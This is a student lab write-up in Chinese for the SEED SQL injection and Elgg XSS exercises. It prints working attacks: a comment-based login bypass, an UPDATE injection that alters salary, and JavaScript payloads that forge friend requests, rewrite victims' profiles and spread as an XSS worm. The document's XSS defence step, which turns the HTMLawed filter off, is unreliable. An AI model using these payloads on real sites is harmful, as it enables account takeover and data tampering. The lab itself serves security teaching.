20222810 2022-2023-2 《网络攻防实践》第10周作业

目录

1.实验内容

SQL注入

XSS攻击

2.实践过程

2.1SEED SQL注入攻击与防御实验

2.1.1熟悉SQL语句

2.1.2对SELECT语句的SQL注入攻击

2.1.3 对UPDATE语句的SQL注入攻击

2.1.4 SQL对抗:修复上述SQL注入攻击漏洞

2.2SEED XSS跨站脚本攻击实验(Elgg) 

2.2.1 发布恶意消息,显示警报窗口

2.2.2 弹窗显示cookie信息 

2.2.3 窃取受害者的cookies 

2.2.4 成为受害者的朋友

2.2.5 修改受害者的信息

2.2.6 编写XSS蠕虫

2.2.7 对抗XSS攻击

3.学习中遇到的问题及解决 

4.实践总结


1.实验内容

SQL注入

Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。

XSS攻击

XSS攻击指的是:
通过利用网页开发时留下的漏洞,恶意攻击者往Web页面里插入恶意 Script代码,当用户浏览时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS全称是:跨站脚本攻击(cross site script)。按照国际惯例,命名应该以 CSS 命名,但是CSS与大家熟知的 层叠样式表(Cascading Style Sheets)重名了,因此取名为XSS。而实际上,就连“跨站脚本攻击”这个名字本身也另有来历,在这种行为最初出现之时,所有的演示案例全是跨域行为,所以叫做 "跨站脚本" 。时至今日,随着Web 端功能的复杂化,应用化,是否跨站已经不重要了,但 XSS 这个名字却一直保留下来。由于现代浏览器的“同源策略”已经让运行在浏览器中的javascript代码很难对外站进行访问了,所以, 这个漏洞的名称可能存在一定的误导性,让很多初学者看了很多次都不能理解这个漏洞的原理。随着 Web 发展迅速发展,JavaScript 通吃前后端,甚至还可以开发APP,所以在产生的应用场景越来越多,越来越复杂的情况下, XSS 愈来愈难统一针对,现在业内达成的共识就是,针对不同的场景而产生的不同 XSS需要区分对待。 可即便如此,复杂应用仍然是 XSS 滋生的温床,尤其是很多企业实行迅捷开发,一周一版本,两周一大版本的情况下,忽略了安全这一重要属性,一旦遭到攻击,后果将不堪设想。

2.实践过程

2.1SEED SQL注入攻击与防御实验

2.1.1熟悉SQL语句

我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
本次实验使用seedUbuntu,打开终端输入指令:sudo su提升至root(seedUbuntu不允许直接root登录)。
接下来,输入指令:service apache2 status,查看apache服务是否处于活跃状态,如图可知开启了apache服务(未开启的话输入指令:service apache2 start即可)。

 输入指令:mysql -u root -p,登录mysql数据库(这里知道密码是:seedubuntu)。

输入指令:show databases;,查看mysql数据库中所有的库。
由下图查询结果,推测包含员工个人信息的creditential表在Users这个库中。 

 

 输入指令:use Users;,进入这个名为Users的数据库。再输入指令:show tables;,便可查看Users数据库中所有的表。

 输入指令:select * from credential;,查询Users数据库中名为creditential的表中存储的内容。
由下图的查询结果可知,creditential表存储了每个员工的个人信息(eid,密码,薪水,ssn等)。

想要指定获取员工的某项信息的话(以姓名和昵称为例)。
输入指令:select Name from creditential;查看此表中存储的员工姓名(这个存了)。
输入指令:select NickName from creditential;查看此表中存储的员工昵称(这个没存)。

2.1.2对SELECT语句的SQL注入攻击

打开 Web应用网站:http://www.SEEDLabSQLInjection.com,使用ctrl+U快捷键查看此页面的源码,可以发现用户在点击提交后,表单将用户输入的信息使用get方法提交到了unsafe_home.php页面进行权限校验。

 输入:/var/www/SQLInjection/unsafe_home.php,在Text Editor中打开www.SEEDLabSQLInjection.com存储动态信息文件var中的unsafe_home.php,即可查询到源代码。

 可以看到此处where部分存在可以进行注入攻击的漏洞。

 符号#后的内容为注释内容,那么我们可以利用此漏洞,将name设为Admin‘#,那么#后边的内容就都没了,相当于密码部分直接为空白。
验证此想法:用户名为Admin‘#,密码为空。

发现登陆成功,并且可以看到使用者的Username、Eid、Salary、Birthday、SSN等信息如下。

2.1.3 对UPDATE语句的SQL注入攻击

(1)利用2.1.2中发现的漏洞,使用Alice‘#用户名登陆,发现Alice相应的信息如下:

 

利用页面上Edit Profile功能,进入修改信息。

使用vim unsafe_edit_backend.php命令找到SQL语句,可以看到这个不能对工资进行修改。

 利用上边的漏洞,如果将nikename那一项设为:', salary='20222810';#,那么就可以将Alice的工资设为20222810.

保存后得到如下:

2.1.4 SQL对抗:修复上述SQL注入攻击漏洞

在unsafe_edit_backend.php页面中,对UPDATE语句进行预处理。原来的语句:
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
修改为:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

 现在注入攻击失败。

2.2SEED XSS跨站脚本攻击实验(Elgg) 

2.2.1 发布恶意消息,显示警报窗口

进入到http://www.xsslabelgg.com/profile/alice网址,登陆账户,账户:Alice 密码:seedalice

 利用edit profile功能修改页面信息,Brief description位置输入命令后保存。

 进入Alice界面后会弹出如下警报窗口:

2.2.2 弹窗显示cookie信息 

利用edit profile功能修改页面信息,Brief description位置输入命令后保存

 进入界面时可以看到会弹出如下窗口,并将cookie信息显示出来

2.2.3 窃取受害者的cookies 

 使用本机(192.168.200.4)当作攻击者,令cookies发送到本机的2935端口。

Brief description中输入如下攻击代码 

 终端处输入nc -l 2935 -v 命令,监听此端口,得到如下cookies信息。

2.2.4 成为受害者的朋友

(1)进入http://www.xsslabelgg.com/profile/boby 网址,访问Boby用户的主页,然后Ctrl+Shift+E进入到此页面的network页面,选择Add friend选项添加此朋友。

添加后会得到如下反馈界面

 构造如下代码,输入到Alice的About me中并保存。

<script type="text/javascript">
window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;

    //Construct the HTTP request to add Samy as a friend.
    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 

    //Create and send Ajax request to add friend
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
}
</script>

发现添加好友成功了

2.2.5 修改受害者的信息

使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

和上面一样操作,f12查看edit下传输的数据

在Alice页面的About me中输入下列js脚本代码,实现修改好友简介

<script type="text/javascript">
window.onload = function(){
    //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
    //and Security Token __elgg_token
    var userName=elgg.session.user.name;
    var guid="&guid="+elgg.session.user.guid;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;

    //Construct the content of your url.
    var content= token + ts + "name=" + userName + "&description=<p>this had been changed by 20211911's xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
    alert(content)
    //FILL IN
    var samyGuid=44;
    //FILL IN
    if(elgg.session.user.guid!=samyGuid)
    {
        //Create and send Ajax request to modify profile
        var Ajax=null;
        Ajax=new XMLHttpRequest();
        Ajax.open("POST",sendurl,true);
        Ajax.setRequestHeader("Host","www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

 登录boby 点击alice主页后,发现boby的简介变了

2.2.6 编写XSS蠕虫

编写的代码放在alice的主页,同上操作,让boby去访问alice的主页,发现boby简介被修改了

 <script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;

        //Construct the content of your url.
        var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)

        var samyGuid=44;

        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
        
    }
</script>

 

 登录charlie账号,查看boby主页后,可以看到charlie主页已被更改

2.2.7 对抗XSS攻击

登录Admin的账户 ,用户名Admin 密码seedelgg,登录成功后点击Administration,点击Plugins

关闭HTMLawed

 查看alice的简介,发现js代码出现了,并且没有感染导致简介被修改

3.学习中遇到的问题及解决 

问题1:seedubuntu无法复制粘贴
问题1解决方案:安装toos工具

4.实践总结

经过本次实践,我对web应用程序安全攻防有了更深的认识,学会了如何利用SQL做注入攻击,用XSS漏洞做攻击。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值